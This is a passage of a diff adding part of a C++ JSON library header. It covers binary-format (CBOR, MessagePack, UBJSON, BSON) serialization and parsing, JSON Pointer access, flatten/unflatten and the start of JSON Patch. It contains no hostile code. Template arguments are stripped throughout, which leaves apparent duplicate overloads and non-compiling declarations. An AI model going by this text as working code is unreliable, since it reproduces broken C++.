@param[in] j JSON value to serialize + @param[in] use_size whether to add size annotations to container types + @param[in] use_type whether to add type annotations to container types + (must be combined with @a use_size = true) + @return UBJSON serialization as byte vector + + @complexity Linear in the size of the JSON value @a j. + + @liveexample{The example shows the serialization of a JSON value to a byte + vector in UBJSON format.,to_ubjson} + + @sa http://ubjson.org + @sa @ref from_ubjson(detail::input_adapter&&, const bool, const bool) for the + analogous deserialization + @sa @ref to_cbor(const basic_json& for the related CBOR format + @sa @ref to_msgpack(const basic_json&) for the related MessagePack format + + @since version 3.1.0 + */ + static std::vector to_ubjson(const basic_json& j, + const bool use_size = false, + const bool use_type = false) + { + std::vector result; + to_ubjson(j, result, use_size, use_type); + return result; + } + + static void to_ubjson(const basic_json& j, detail::output_adapter o, + const bool use_size = false, const bool use_type = false) + { + binary_writer(o).write_ubjson(j, use_size, use_type); + } + + static void to_ubjson(const basic_json& j, detail::output_adapter o, + const bool use_size = false, const bool use_type = false) + { + binary_writer(o).write_ubjson(j, use_size, use_type); + } + + + /*! + @brief Serializes the given JSON object `j` to BSON and returns a vector + containing the corresponding BSON-representation. + + BSON (Binary JSON) is a binary format in which zero or more ordered key/value pairs are + stored as a single entity (a so-called document). + + The library uses the following mapping from JSON values types to BSON types: + + JSON value type | value/range | BSON type | marker + --------------- | --------------------------------- | ----------- | ------ + null | `null` | null | 0x0A + boolean | `true`, `false` | boolean | 0x08 + number_integer | -9223372036854775808..-2147483649 | int64 | 0x12 + number_integer | -2147483648..2147483647 | int32 | 0x10 + number_integer | 2147483648..9223372036854775807 | int64 | 0x12 + number_unsigned | 0..2147483647 | int32 | 0x10 + number_unsigned | 2147483648..9223372036854775807 | int64 | 0x12 + number_unsigned | 9223372036854775808..18446744073709551615| -- | -- + number_float | *any value* | double | 0x01 + string | *any value* | string | 0x02 + array | *any value* | document | 0x04 + object | *any value* | document | 0x03 + binary | *any value* | binary | 0x05 + + @warning The mapping is **incomplete**, since only JSON-objects (and things + contained therein) can be serialized to BSON. + Also, integers larger than 9223372036854775807 cannot be serialized to BSON, + and the keys may not contain U+0000, since they are serialized a + zero-terminated c-strings. + + @throw out_of_range.407 if `j.is_number_unsigned() && j.get() > 9223372036854775807` + @throw out_of_range.409 if a key in `j` contains a NULL (U+0000) + @throw type_error.317 if `!j.is_object()` + + @pre The input `j` is required to be an object: `j.is_object() == true`. + + @note Any BSON output created via @ref to_bson can be successfully parsed + by @ref from_bson. + + @param[in] j JSON value to serialize + @return BSON serialization as byte vector + + @complexity Linear in the size of the JSON value @a j. + + @liveexample{The example shows the serialization of a JSON value to a byte + vector in BSON format.,to_bson} + + @sa http://bsonspec.org/spec.html + @sa @ref from_bson(detail::input_adapter&&, const bool strict) for the + analogous deserialization + @sa @ref to_ubjson(const basic_json&, const bool, const bool) for the + related UBJSON format + @sa @ref to_cbor(const basic_json&) for the related CBOR format + @sa @ref to_msgpack(const basic_json&) for the related MessagePack format + */ + static std::vector to_bson(const basic_json& j) + { + std::vector result; + to_bson(j, result); + return result; + } + + /*! + @brief Serializes the given JSON object `j` to BSON and forwards the + corresponding BSON-representation to the given output_adapter `o`. + @param j The JSON object to convert to BSON. + @param o The output adapter that receives the binary BSON representation. + @pre The input `j` shall be an object: `j.is_object() == true` + @sa @ref to_bson(const basic_json&) + */ + static void to_bson(const basic_json& j, detail::output_adapter o) + { + binary_writer(o).write_bson(j); + } + + /*! + @copydoc to_bson(const basic_json&, detail::output_adapter) + */ + static void to_bson(const basic_json& j, detail::output_adapter o) + { + binary_writer(o).write_bson(j); + } + + + /*! + @brief create a JSON value from an input in CBOR format + + Deserializes a given input @a i to a JSON value using the CBOR (Concise + Binary Object Representation) serialization format. + + The library maps CBOR types to JSON value types as follows: + + CBOR type | JSON value type | first byte + ---------------------- | --------------- | ---------- + Integer | number_unsigned | 0x00..0x17 + Unsigned integer | number_unsigned | 0x18 + Unsigned integer | number_unsigned | 0x19 + Unsigned integer | number_unsigned | 0x1A + Unsigned integer | number_unsigned | 0x1B + Negative integer | number_integer | 0x20..0x37 + Negative integer | number_integer | 0x38 + Negative integer | number_integer | 0x39 + Negative integer | number_integer | 0x3A + Negative integer | number_integer | 0x3B + Byte string | binary | 0x40..0x57 + Byte string | binary | 0x58 + Byte string | binary | 0x59 + Byte string | binary | 0x5A + Byte string | binary | 0x5B + UTF-8 string | string | 0x60..0x77 + UTF-8 string | string | 0x78 + UTF-8 string | string | 0x79 + UTF-8 string | string | 0x7A + UTF-8 string | string | 0x7B + UTF-8 string | string | 0x7F + array | array | 0x80..0x97 + array | array | 0x98 + array | array | 0x99 + array | array | 0x9A + array | array | 0x9B + array | array | 0x9F + map | object | 0xA0..0xB7 + map | object | 0xB8 + map | object | 0xB9 + map | object | 0xBA + map | object | 0xBB + map | object | 0xBF + False | `false` | 0xF4 + True | `true` | 0xF5 + Null | `null` | 0xF6 + Half-Precision Float | number_float | 0xF9 + Single-Precision Float | number_float | 0xFA + Double-Precision Float | number_float | 0xFB + + @warning The mapping is **incomplete** in the sense that not all CBOR + types can be converted to a JSON value. The following CBOR types + are not supported and will yield parse errors (parse_error.112): + - date/time (0xC0..0xC1) + - bignum (0xC2..0xC3) + - decimal fraction (0xC4) + - bigfloat (0xC5) + - expected conversions (0xD5..0xD7) + - simple values (0xE0..0xF3, 0xF8) + - undefined (0xF7) + + @warning CBOR allows map keys of any type, whereas JSON only allows + strings as keys in object values. Therefore, CBOR maps with keys + other than UTF-8 strings are rejected (parse_error.113). + + @note Any CBOR output created @ref to_cbor can be successfully parsed by + @ref from_cbor. + + @param[in] i an input in CBOR format convertible to an input adapter + @param[in] strict whether to expect the input to be consumed until EOF + (true by default) + @param[in] allow_exceptions whether to throw exceptions in case of a + parse error (optional, true by default) + @param[in] tag_handler how to treat CBOR tags (optional, error by default) + + @return deserialized JSON value; in case of a parse error and + @a allow_exceptions set to `false`, the return value will be + value_t::discarded. + + @throw parse_error.110 if the given input ends prematurely or the end of + file was not reached when @a strict was set to true + @throw parse_error.112 if unsupported features from CBOR were + used in the given input @a v or if the input is not valid CBOR + @throw parse_error.113 if a string was expected as map key, but not found + + @complexity Linear in the size of the input @a i. + + @liveexample{The example shows the deserialization of a byte vector in CBOR + format to a JSON value.,from_cbor} + + @sa http://cbor.io + @sa @ref to_cbor(const basic_json&) for the analogous serialization + @sa @ref from_msgpack(detail::input_adapter&&, const bool, const bool) for the + related MessagePack format + @sa @ref from_ubjson(detail::input_adapter&&, const bool, const bool) for the + related UBJSON format + + @since version 2.0.9; parameter @a start_index since 2.1.1; changed to + consume input adapters, removed start_index parameter, and added + @a strict parameter since 3.0.0; added @a allow_exceptions parameter + since 3.2.0; added @a tag_handler parameter since 3.9.0. + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json from_cbor(InputType&& i, + const bool strict = true, + const bool allow_exceptions = true, + const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = detail::input_adapter(std::forward(i)); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::cbor, &sdp, strict, tag_handler); + return res ? result : basic_json(value_t::discarded); + } + + /*! + @copydoc from_cbor(detail::input_adapter&&, const bool, const bool, const cbor_tag_handler_t) + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json from_cbor(IteratorType first, IteratorType last, + const bool strict = true, + const bool allow_exceptions = true, + const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = detail::input_adapter(std::move(first), std::move(last)); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::cbor, &sdp, strict, tag_handler); + return res ? result : basic_json(value_t::discarded); + } + + template + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_cbor(ptr, ptr + len)) + static basic_json from_cbor(const T* ptr, std::size_t len, + const bool strict = true, + const bool allow_exceptions = true, + const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error) + { + return from_cbor(ptr, ptr + len, strict, allow_exceptions, tag_handler); + } + + + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_cbor(ptr, ptr + len)) + static basic_json from_cbor(detail::span_input_adapter&& i, + const bool strict = true, + const bool allow_exceptions = true, + const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = i.get(); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::cbor, &sdp, strict, tag_handler); + return res ? result : basic_json(value_t::discarded); + } + + /*! + @brief create a JSON value from an input in MessagePack format + + Deserializes a given input @a i to a JSON value using the MessagePack + serialization format. + + The library maps MessagePack types to JSON value types as follows: + + MessagePack type | JSON value type | first byte + ---------------- | --------------- | ---------- + positive fixint | number_unsigned | 0x00..0x7F + fixmap | object | 0x80..0x8F + fixarray | array | 0x90..0x9F + fixstr | string | 0xA0..0xBF + nil | `null` | 0xC0 + false | `false` | 0xC2 + true | `true` | 0xC3 + float 32 | number_float | 0xCA + float 64 | number_float | 0xCB + uint 8 | number_unsigned | 0xCC + uint 16 | number_unsigned | 0xCD + uint 32 | number_unsigned | 0xCE + uint 64 | number_unsigned | 0xCF + int 8 | number_integer | 0xD0 + int 16 | number_integer | 0xD1 + int 32 | number_integer | 0xD2 + int 64 | number_integer | 0xD3 + str 8 | string | 0xD9 + str 16 | string | 0xDA + str 32 | string | 0xDB + array 16 | array | 0xDC + array 32 | array | 0xDD + map 16 | object | 0xDE + map 32 | object | 0xDF + bin 8 | binary | 0xC4 + bin 16 | binary | 0xC5 + bin 32 | binary | 0xC6 + ext 8 | binary | 0xC7 + ext 16 | binary | 0xC8 + ext 32 | binary | 0xC9 + fixext 1 | binary | 0xD4 + fixext 2 | binary | 0xD5 + fixext 4 | binary | 0xD6 + fixext 8 | binary | 0xD7 + fixext 16 | binary | 0xD8 + negative fixint | number_integer | 0xE0-0xFF + + @note Any MessagePack output created @ref to_msgpack can be successfully + parsed by @ref from_msgpack. + + @param[in] i an input in MessagePack format convertible to an input + adapter + @param[in] strict whether to expect the input to be consumed until EOF + (true by default) + @param[in] allow_exceptions whether to throw exceptions in case of a + parse error (optional, true by default) + + @return deserialized JSON value; in case of a parse error and + @a allow_exceptions set to `false`, the return value will be + value_t::discarded. + + @throw parse_error.110 if the given input ends prematurely or the end of + file was not reached when @a strict was set to true + @throw parse_error.112 if unsupported features from MessagePack were + used in the given input @a i or if the input is not valid MessagePack + @throw parse_error.113 if a string was expected as map key, but not found + + @complexity Linear in the size of the input @a i. + + @liveexample{The example shows the deserialization of a byte vector in + MessagePack format to a JSON value.,from_msgpack} + + @sa http://msgpack.org + @sa @ref to_msgpack(const basic_json&) for the analogous serialization + @sa @ref from_cbor(detail::input_adapter&&, const bool, const bool, const cbor_tag_handler_t) for the + related CBOR format + @sa @ref from_ubjson(detail::input_adapter&&, const bool, const bool) for + the related UBJSON format + @sa @ref from_bson(detail::input_adapter&&, const bool, const bool) for + the related BSON format + + @since version 2.0.9; parameter @a start_index since 2.1.1; changed to + consume input adapters, removed start_index parameter, and added + @a strict parameter since 3.0.0; added @a allow_exceptions parameter + since 3.2.0 + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json from_msgpack(InputType&& i, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = detail::input_adapter(std::forward(i)); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::msgpack, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + + /*! + @copydoc from_msgpack(detail::input_adapter&&, const bool, const bool) + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json from_msgpack(IteratorType first, IteratorType last, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = detail::input_adapter(std::move(first), std::move(last)); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::msgpack, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + + + template + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_msgpack(ptr, ptr + len)) + static basic_json from_msgpack(const T* ptr, std::size_t len, + const bool strict = true, + const bool allow_exceptions = true) + { + return from_msgpack(ptr, ptr + len, strict, allow_exceptions); + } + + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_msgpack(ptr, ptr + len)) + static basic_json from_msgpack(detail::span_input_adapter&& i, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = i.get(); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::msgpack, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + + + /*! + @brief create a JSON value from an input in UBJSON format + + Deserializes a given input @a i to a JSON value using the UBJSON (Universal + Binary JSON) serialization format. + + The library maps UBJSON types to JSON value types as follows: + + UBJSON type | JSON value type | marker + ----------- | --------------------------------------- | ------ + no-op | *no value, next value is read* | `N` + null | `null` | `Z` + false | `false` | `F` + true | `true` | `T` + float32 | number_float | `d` + float64 | number_float | `D` + uint8 | number_unsigned | `U` + int8 | number_integer | `i` + int16 | number_integer | `I` + int32 | number_integer | `l` + int64 | number_integer | `L` + high-precision number | number_integer, number_unsigned, or number_float - depends on number string | 'H' + string | string | `S` + char | string | `C` + array | array (optimized values are supported) | `[` + object | object (optimized values are supported) | `{` + + @note The mapping is **complete** in the sense that any UBJSON value can + be converted to a JSON value. + + @param[in] i an input in UBJSON format convertible to an input adapter + @param[in] strict whether to expect the input to be consumed until EOF + (true by default) + @param[in] allow_exceptions whether to throw exceptions in case of a + parse error (optional, true by default) + + @return deserialized JSON value; in case of a parse error and + @a allow_exceptions set to `false`, the return value will be + value_t::discarded. + + @throw parse_error.110 if the given input ends prematurely or the end of + file was not reached when @a strict was set to true + @throw parse_error.112 if a parse error occurs + @throw parse_error.113 if a string could not be parsed successfully + + @complexity Linear in the size of the input @a i. + + @liveexample{The example shows the deserialization of a byte vector in + UBJSON format to a JSON value.,from_ubjson} + + @sa http://ubjson.org + @sa @ref to_ubjson(const basic_json&, const bool, const bool) for the + analogous serialization + @sa @ref from_cbor(detail::input_adapter&&, const bool, const bool, const cbor_tag_handler_t) for the + related CBOR format + @sa @ref from_msgpack(detail::input_adapter&&, const bool, const bool) for + the related MessagePack format + @sa @ref from_bson(detail::input_adapter&&, const bool, const bool) for + the related BSON format + + @since version 3.1.0; added @a allow_exceptions parameter since 3.2.0 + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json from_ubjson(InputType&& i, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = detail::input_adapter(std::forward(i)); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::ubjson, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + + /*! + @copydoc from_ubjson(detail::input_adapter&&, const bool, const bool) + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json from_ubjson(IteratorType first, IteratorType last, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = detail::input_adapter(std::move(first), std::move(last)); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::ubjson, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + + template + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_ubjson(ptr, ptr + len)) + static basic_json from_ubjson(const T* ptr, std::size_t len, + const bool strict = true, + const bool allow_exceptions = true) + { + return from_ubjson(ptr, ptr + len, strict, allow_exceptions); + } + + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_ubjson(ptr, ptr + len)) + static basic_json from_ubjson(detail::span_input_adapter&& i, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = i.get(); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::ubjson, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + + + /*! + @brief Create a JSON value from an input in BSON format + + Deserializes a given input @a i to a JSON value using the BSON (Binary JSON) + serialization format. + + The library maps BSON record types to JSON value types as follows: + + BSON type | BSON marker byte | JSON value type + --------------- | ---------------- | --------------------------- + double | 0x01 | number_float + string | 0x02 | string + document | 0x03 | object + array | 0x04 | array + binary | 0x05 | binary + undefined | 0x06 | still unsupported + ObjectId | 0x07 | still unsupported + boolean | 0x08 | boolean + UTC Date-Time | 0x09 | still unsupported + null | 0x0A | null + Regular Expr. | 0x0B | still unsupported + DB Pointer | 0x0C | still unsupported + JavaScript Code | 0x0D | still unsupported + Symbol | 0x0E | still unsupported + JavaScript Code | 0x0F | still unsupported + int32 | 0x10 | number_integer + Timestamp | 0x11 | still unsupported + 128-bit decimal float | 0x13 | still unsupported + Max Key | 0x7F | still unsupported + Min Key | 0xFF | still unsupported + + @warning The mapping is **incomplete**. The unsupported mappings + are indicated in the table above. + + @param[in] i an input in BSON format convertible to an input adapter + @param[in] strict whether to expect the input to be consumed until EOF + (true by default) + @param[in] allow_exceptions whether to throw exceptions in case of a + parse error (optional, true by default) + + @return deserialized JSON value; in case of a parse error and + @a allow_exceptions set to `false`, the return value will be + value_t::discarded. + + @throw parse_error.114 if an unsupported BSON record type is encountered + + @complexity Linear in the size of the input @a i. + + @liveexample{The example shows the deserialization of a byte vector in + BSON format to a JSON value.,from_bson} + + @sa http://bsonspec.org/spec.html + @sa @ref to_bson(const basic_json&) for the analogous serialization + @sa @ref from_cbor(detail::input_adapter&&, const bool, const bool, const cbor_tag_handler_t) for the + related CBOR format + @sa @ref from_msgpack(detail::input_adapter&&, const bool, const bool) for + the related MessagePack format + @sa @ref from_ubjson(detail::input_adapter&&, const bool, const bool) for the + related UBJSON format + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json from_bson(InputType&& i, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = detail::input_adapter(std::forward(i)); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::bson, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + + /*! + @copydoc from_bson(detail::input_adapter&&, const bool, const bool) + */ + template + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json from_bson(IteratorType first, IteratorType last, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = detail::input_adapter(std::move(first), std::move(last)); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::bson, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + + template + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_bson(ptr, ptr + len)) + static basic_json from_bson(const T* ptr, std::size_t len, + const bool strict = true, + const bool allow_exceptions = true) + { + return from_bson(ptr, ptr + len, strict, allow_exceptions); + } + + JSON_HEDLEY_WARN_UNUSED_RESULT + JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_bson(ptr, ptr + len)) + static basic_json from_bson(detail::span_input_adapter&& i, + const bool strict = true, + const bool allow_exceptions = true) + { + basic_json result; + detail::json_sax_dom_parser sdp(result, allow_exceptions); + auto ia = i.get(); + const bool res = binary_reader(std::move(ia)).sax_parse(input_format_t::bson, &sdp, strict); + return res ? result : basic_json(value_t::discarded); + } + /// @} + + ////////////////////////// + // JSON Pointer support // + ////////////////////////// + + /// @name JSON Pointer functions + /// @{ + + /*! + @brief access specified element via JSON Pointer + + Uses a JSON pointer to retrieve a reference to the respective JSON value. + No bound checking is performed. Similar to @ref operator[](const typename + object_t::key_type&), `null` values are created in arrays and objects if + necessary. + + In particular: + - If the JSON pointer points to an object key that does not exist, it + is created an filled with a `null` value before a reference to it + is returned. + - If the JSON pointer points to an array index that does not exist, it + is created an filled with a `null` value before a reference to it + is returned. All indices between the current maximum and the given + index are also filled with `null`. + - The special value `-` is treated as a synonym for the index past the + end. + + @param[in] ptr a JSON pointer + + @return reference to the element pointed to by @a ptr + + @complexity Constant. + + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index was not a number + @throw out_of_range.404 if the JSON pointer can not be resolved + + @liveexample{The behavior is shown in the example.,operatorjson_pointer} + + @since version 2.0.0 + */ + reference operator[](const json_pointer& ptr) + { + return ptr.get_unchecked(this); + } + + /*! + @brief access specified element via JSON Pointer + + Uses a JSON pointer to retrieve a reference to the respective JSON value. + No bound checking is performed. The function does not change the JSON + value; no `null` values are created. In particular, the special value + `-` yields an exception. + + @param[in] ptr JSON pointer to the desired element + + @return const reference to the element pointed to by @a ptr + + @complexity Constant. + + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index was not a number + @throw out_of_range.402 if the array index '-' is used + @throw out_of_range.404 if the JSON pointer can not be resolved + + @liveexample{The behavior is shown in the example.,operatorjson_pointer_const} + + @since version 2.0.0 + */ + const_reference operator[](const json_pointer& ptr) const + { + return ptr.get_unchecked(this); + } + + /*! + @brief access specified element via JSON Pointer + + Returns a reference to the element at with specified JSON pointer @a ptr, + with bounds checking. + + @param[in] ptr JSON pointer to the desired element + + @return reference to the element pointed to by @a ptr + + @throw parse_error.106 if an array index in the passed JSON pointer @a ptr + begins with '0'. See example below. + + @throw parse_error.109 if an array index in the passed JSON pointer @a ptr + is not a number. See example below. + + @throw out_of_range.401 if an array index in the passed JSON pointer @a ptr + is out of range. See example below. + + @throw out_of_range.402 if the array index '-' is used in the passed JSON + pointer @a ptr. As `at` provides checked access (and no elements are + implicitly inserted), the index '-' is always invalid. See example below. + + @throw out_of_range.403 if the JSON pointer describes a key of an object + which cannot be found. See example below. + + @throw out_of_range.404 if the JSON pointer @a ptr can not be resolved. + See example below. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @complexity Constant. + + @since version 2.0.0 + + @liveexample{The behavior is shown in the example.,at_json_pointer} + */ + reference at(const json_pointer& ptr) + { + return ptr.get_checked(this); + } + + /*! + @brief access specified element via JSON Pointer + + Returns a const reference to the element at with specified JSON pointer @a + ptr, with bounds checking. + + @param[in] ptr JSON pointer to the desired element + + @return reference to the element pointed to by @a ptr + + @throw parse_error.106 if an array index in the passed JSON pointer @a ptr + begins with '0'. See example below. + + @throw parse_error.109 if an array index in the passed JSON pointer @a ptr + is not a number. See example below. + + @throw out_of_range.401 if an array index in the passed JSON pointer @a ptr + is out of range. See example below. + + @throw out_of_range.402 if the array index '-' is used in the passed JSON + pointer @a ptr. As `at` provides checked access (and no elements are + implicitly inserted), the index '-' is always invalid. See example below. + + @throw out_of_range.403 if the JSON pointer describes a key of an object + which cannot be found. See example below. + + @throw out_of_range.404 if the JSON pointer @a ptr can not be resolved. + See example below. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes in the JSON value. + + @complexity Constant. + + @since version 2.0.0 + + @liveexample{The behavior is shown in the example.,at_json_pointer_const} + */ + const_reference at(const json_pointer& ptr) const + { + return ptr.get_checked(this); + } + + /*! + @brief return flattened JSON value + + The function creates a JSON object whose keys are JSON pointers (see [RFC + 6901](https://tools.ietf.org/html/rfc6901)) and whose values are all + primitive. The original JSON value can be restored using the @ref + unflatten() function. + + @return an object that maps JSON pointers to primitive values + + @note Empty objects and arrays are flattened to `null` and will not be + reconstructed correctly by the @ref unflatten() function. + + @complexity Linear in the size the JSON value. + + @liveexample{The following code shows how a JSON object is flattened to an + object whose keys consist of JSON pointers.,flatten} + + @sa @ref unflatten() for the reverse function + + @since version 2.0.0 + */ + basic_json flatten() const + { + basic_json result(value_t::object); + json_pointer::flatten("", *this, result); + return result; + } + + /*! + @brief unflatten a previously flattened JSON value + + The function restores the arbitrary nesting of a JSON value that has been + flattened before using the @ref flatten() function. The JSON value must + meet certain constraints: + 1. The value must be an object. + 2. The keys must be JSON pointers (see + [RFC 6901](https://tools.ietf.org/html/rfc6901)) + 3. The mapped values must be primitive JSON types. + + @return the original JSON from a flattened version + + @note Empty objects and arrays are flattened by @ref flatten() to `null` + values and can not unflattened to their original type. Apart from + this example, for a JSON value `j`, the following is always true: + `j == j.flatten().unflatten()`. + + @complexity Linear in the size the JSON value. + + @throw type_error.314 if value is not an object + @throw type_error.315 if object values are not primitive + + @liveexample{The following code shows how a flattened JSON object is + unflattened into the original nested JSON object.,unflatten} + + @sa @ref flatten() for the reverse function + + @since version 2.0.0 + */ + basic_json unflatten() const + { + return json_pointer::unflatten(*this); + } + + /// @} + + ////////////////////////// + // JSON Patch functions // + ////////////////////////// + + /// @name JSON Patch functions + /// @{ + + /*! + @brief applies a JSON patch + + [JSON Patch](http://jsonpatch.com) defines a JSON document structure for + expressing a sequence of operations to apply to a JSON) document. With + this function, a JSON Patch is applied to the current JSON value by + executing all operations from the patch. + + @param[in] json_patch JSON patch document + @return patched document + + @note The application of a patch is atomic: Either all operations succeed + and the patched document is returned or an exception is thrown. In + any case, the original value is not changed: the patch is applied + to a copy of the value. + + @throw parse_error.104 if the JSON patch does not consist of an array of + objects + + @throw parse_error.105 if the JSON patch is malformed (e.g., mandatory + attributes are missing); example: `"operation add must have member path"` + + @throw out_of_range.401 if an array index is out of range. + + @throw out_of_range.403 if a JSON pointer inside the patch could not be + resolved successfully in the current JSON value; example: `"key baz not + found"` + + @throw out_of_range.405 if JSON pointer has no parent ("add", "remove", + "move") + + @throw other_error.501 if "test" operation was unsuccessful + + @complexity Linear in the size of the JSON value and the length of the + JSON patch. As usually only a fraction of the JSON value is affected by + the patch, the complexity can usually be neglected. + + @liveexample{The following code shows how a JSON patch is applied to a + value.,patch} + + @sa @ref diff -- create a JSON patch by comparing two JSON values + + @sa [RFC 6902 (JSON Patch)](https://tools.ietf.org/html/rfc6902) + @sa [RFC 6901 (JSON Pointer)](https://tools.ietf.org/html/rfc6901) + + @since version 2.0.0 + */ + basic_json patch(const basic_json& json_patch) const + { + // make a working copy to apply the patch to + basic_json result = *this; + + // the valid JSON Patch operations + enum class patch_operations {add, remove, replace, move, copy, test, invalid}; + + const auto get_op = [](const std::string & op) + { + if (op == "add") + { + return patch_operations::add; + } + if (op == "remove") + { + return patch_operations::remove; + } + if (op == "replace") + { + return patch_operations::replace; + } + if (op == "move") + { + return patch_operations::move; + } + if (op == "copy") + { + return patch_operations::copy; + } + if (op == "test") + { + return patch_operations::test; + } + + return patch_operations::invalid; + }; + + // wrapper for "add" operation; add value at ptr + const auto operation_add = [&result](json_pointer & ptr, basic_json val) + { + // adding to the root of the target document means replacing it + if (ptr.empty()) + { + result = val; + return; + } + + // make sure the top element of the pointer exists + json_pointer top_pointer = ptr.top(); + if (top_pointer != ptr) + { + result.at(top_pointer); + } + + // get reference to parent of JSON pointer ptr + const auto last_path = ptr.back(); + ptr.pop_back(); + basic_json& parent = result[ptr]; + + switch (parent.m_type) + { + case value_t::null: + case value_t::object: + { + // use operator[] to add value + parent[last_path] = val; + break; + } + + case value_t::array: + { + if (last_path == "-") + { + // special case: append to back + parent.push_back(val); + } + else + { + const auto idx = json_pointer::array_index(last_path); + if (JSON_HEDLEY_UNLIKELY(idx > parent.size())) + { + // avoid undefined behavior + JSON_THROW(out_of_range::create(401, "array index " + std::to_string(idx) + " is out of range")); + } + + // default case: insert add offset + parent.insert(parent.begin() + static_cast(idx), val); + } + break; + } + + // if there exists a parent it cannot be primitive + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + } + }; + + // wrapper for "remove" operation; remove value at ptr + const auto operation_remove = [&result](json_pointer & ptr) + { + // get reference to parent of JSON pointer ptr + const auto last_path = ptr.back(); + ptr.pop_back(); + basic_json& parent = result.at(ptr); + + // remove child + if (parent.is_object()) + { + // perform range check + auto it = parent.find(last_path); + if (JSON_HEDLEY_LIKELY(it != parent.end())) + { + parent.erase(it); + } + else + { + JSON_THROW(out_of_range::create(403, "key '" + last_path + "' not found")); + } + } + else if (parent.is_array()) + { + // note erase performs range check + parent.erase(json_pointer::array_index(last_path)); + } + }; + + // type check: top level value must be an array + if (JSON_HEDLEY_UNLIKELY(!json_patch.is_array())) + { + JSON_THROW(parse_error::create(104, 0, "JSON patch must be an array of objects")); + } + + // iterate and apply the operations + for (const auto& val : json_patch) + { + // wrapper to get a value for an operation + const auto get_value = [&val](const std::string & op, + const std::string & member, + bool string_type) -> basic_json & + { + // find value + auto it = val.m_value.object->find(member); + + // context-sensitive error message + const auto error_msg = (op == "op") ? "operation" : "operation '" + op + "'"; + + // check if desired value is present + if (JSON_HEDLEY_UNLIKELY(it == val.m_value.object->end())) + { + JSON_THROW(parse_error::create(105, 0, error_msg + " must have member '" + member + "'")); + } + + // check if result is of type string + if (JSON_HEDLEY_UNLIKELY(string_type && !it->second.is_string())) + { + JSON_THROW(parse_error::create(105, 0, error_msg + " must have string member '" + member + "'")); + } + + // no error: return value + return it->second; + }; + + // type check: every element of the array must be an object + if (JSON_HEDLEY_UNLIKELY(!val.is_object())) + { + JSON_THROW(parse_error::create(104, 0, "JSON patch must be an array of objects")); + } + + // collect mandatory members + const auto op = get_value("op", "op", true).template get(); + const auto path = get_value(op, "path", true).template get(); + json_pointer ptr(path); + + switch (get_op(op)) + { + case patch_operations::add: + { + 